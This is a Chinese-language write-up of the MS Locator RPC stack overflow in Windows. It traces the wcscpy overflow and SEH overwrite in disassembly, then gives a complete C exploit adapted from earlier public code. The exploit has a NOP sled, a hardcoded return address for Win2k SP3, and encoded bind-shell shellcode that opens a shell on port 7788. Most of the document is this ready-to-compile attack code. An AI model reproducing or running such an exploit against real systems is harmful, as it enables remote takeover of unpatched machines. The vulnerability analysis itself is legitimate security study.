分析ms locator vul
author:wujianqiang
email :wujianqiangis@mail.china.com
homepage:http://wujianqiang.533.net
Q:郁闷的时候干啥?
A:玩exp...
并不了解win rpc的一些机制只是异常了才跟踪看看,win里面的一些函数都已经很模糊了,dbg里的符号也没有
只是分析溢出机理。ms locator vul去年3月被发现,今天2.13.
[。。。。]
|
sub_1007264
|sub_10071FE 这里的wscpy导致堆栈溢出覆盖了sub_1007264的 seh handler
sub_1007264:
.text:010072B8 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:010072B8
.text:010072B8 loc_10072B8: ; CODE XREF: sub_1007264+44j
.text:010072B8 mov edi, offset asc_100271C ; "\\\\"
.text:010072BD push edi
.text:010072BE lea eax, [ebp+var_538]
.text:010072C4 push eax
.text:010072C5 mov esi, ds:wcscpy
.text:010072CB call esi ; wcscpy 这里没出错 \\\\
.text:010072CD pop ecx
.text:010072CE pop ecx
.text:010072CF mov eax, dword_1012250
.text:010072D4 mov eax, [eax+20h]
.text:010072D7 push dword ptr [eax+4]
.text:010072DA lea eax, [ebp+var_534]
.text:010072E0 push eax
.text:010072E1 call esi ; wcscpy //这里也没有出错 \\计算机名
.text:010072E3 pop ecx
.text:010072E4 pop ecx
.text:010072E5 lea eax, [ebp+Buffer]
.text:010072EB push eax
.text:010072EC push [ebp+arg_C]
.text:010072EF push [ebp+arg_8]
.text:010072F2 push [ebp+arg_4]
.text:010072F5 call sub_10071FE //这里的一个wcspy出错了导致溢出
sub_10071FE
push ebx
.text:010071FF mov ebx, [esp+arg_C] //构造结构
.text:01007203 push esi
.text:01007204 push edi
.text:01007205 lea edi, [ebx+14h]
.text:01007208 xor eax, eax
.text:0100720A stosd
.text:0100720B stosd
.text:0100720C stosd
.text:0100720D stosd
.text:0100720E xor eax, eax
.text:01007210 mov edi, ebx
.text:01007212 stosd
.text:01007213 stosd
.text:01007214 stosd
.text:01007215 stosd
.text:01007216 stosd
.text:01007217 mov eax, [esp+8+arg_0]
.text:0100721B test eax, eax
.text:0100721D jz short loc_1007230
.text:0100721F push dword ptr [eax+4]//受临街区保护的分配的是很大的内存含有我们的input
.text:01007222 lea eax, [ebx+4Ch] //sub_1007264局部变量指针传递 0x90f3e8
.text:01007225 push eax
.text:01007226 call ds:wcscpy //出错
随后的调用中
sub_1007264
|sub_100934e出错 并没有建立异常链
sub_100934E proc near ; CODE XREF: sub_1007264+CDp
.text:0100934E mov eax, [ecx+8] //这里ecx出错
.text:01009351 test eax, eax
.text:01009353 jnz short locret_100935D
.text:01009355 mov eax, dword_1012250
.text:0100935A mov eax, [eax+38h]
.text:0100935D
.text:0100935D locret_100935D: ; CODE XREF: sub_100934E+5j
.text:0100935D retn
.text:0100935D sub_100934E endp
Marcin Wolak's rpcexp.c 中直接使seh handler 指向了0x0090f8f0 shellcode的地址 不是太通用?
采用覆盖seh
exp构造
|rpc_head_info(8)|nop(0x4f8)|jmp 0x6(2)|NOP(2)|call ebx (4)|shellcode|
exp 简单修改 eyas and Marcin Wolak's rpcexp.c
//only for test
#define UNICODE
#define RPC_UNICODE_SUPPORTED
#include <stdio.h>
#include <rpc.h>
#include <rpcnsi.h>
#pragma comment(lib, "rpcns4.lib")
#define sehoffset 0x504
#define JMPADDR "\x7a\x36\xe6\x77"//call ebx at kernel32.dll test on win2k sp3 cn
#define JMPOVER "\xEB\x06\x90\x90"//jmp 0x6
void usage();
//copy form internet :) telnet 7788
//fs:[0x30]-ldr-dll-export-comsb xor 99
unsigned char shellcode[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xd9\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x18\x75\x19\x99\x99\x99\x12\x6D\x71"
"\xD5\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xFF\x98"
"\x99\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\xCE\x98\x99"
"\x99\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A"
"\x8F\x71\xAB\x98\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA"
"\x71\xBA\x98\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2"
"\x71\x8A\x98\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34"
"\x71\x9A\x98\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x3D\x83\xE9\x5E"
"\x71\x6A\x99\x99\x99\x10\xDF\xB9\x66\xEF\x9D\xF1\x3D\x34\xB7\x70"
"\x71\x7A\x99\x99\x99\x10\xDF\xBD\x66\xEF\x9D\xF1\x7C\xD0\x1F\xD0"
"\x71\x4A\x99\x99\x99\x10\xDF\xB1\x66\xEF\x9D\xF1\x7E\xE0\x5F\xE0"
"\x71\x5A\x99\x99\x99\x10\xDF\xB5\xAA\x66\x18\x75\x09\x98\x99\x99"
"\xCD\xF1\x98\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9"
"\xC9\x66\xCF\x85\x12\x41\xCE\xCE\xF1\x9B\x99\x87\xf5\x12\x55\xF3"
"\x8F\xC8\xCA\x66\xCF\xB9\xCE\xCA\x66\xCF\xBD\xCE\xC8\xCA\x66\xCF"
"\xB1\x12\x49\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9"
"\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64"
"\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD"
"\xD1\x10\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8"
"\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55"
"\xF3\x66\x66\xA8\x66\xCF\x95\x12\x51\xCE\x66\xCF\xB5\x66\xCF\x8D"
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99";
void _CRTAPI1 main(int argc, char **argv)
{
unsigned char buff[4000];
unsigned short * pszStrBinding = NULL;
RPC_NS_HANDLE hnsHandle;
unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;
RPC_STATUS status;
unsigned long i;
usage();
//填充buff 这个也不懂:)
buff[0] = '/';
buff[1] = 0;
buff[2] = '.';
buff[3] = 0;
buff[4] = ':';
buff[5] = 0;
buff[6] = '/';
buff[7] = 0;
for (i=8;i<sehoffset-4;i++)
{
buff[i] = '\x90';
}
strcpy(&buff[i], JMPOVER);
memcpy(&buff[i+4], JMPADDR, 4);
memcpy(&buff[i+8], shellcode, sizeof(shellcode));
status = RpcNsBindingLookupBegin(NsSntxType,
(unsigned short *) buff,
0,
NULL,
0,
&hnsHandle);
printf("RpcNsBindingLookupBegin returned 0x%x\n",status);
}
void usage()
{
printf( "\n MS locator exp\n"
"base on eyas and Marcin Wolak\'s rpcexp.c\n"
"if you see this for a moment\n"
"telnet 7788 for test\n");
}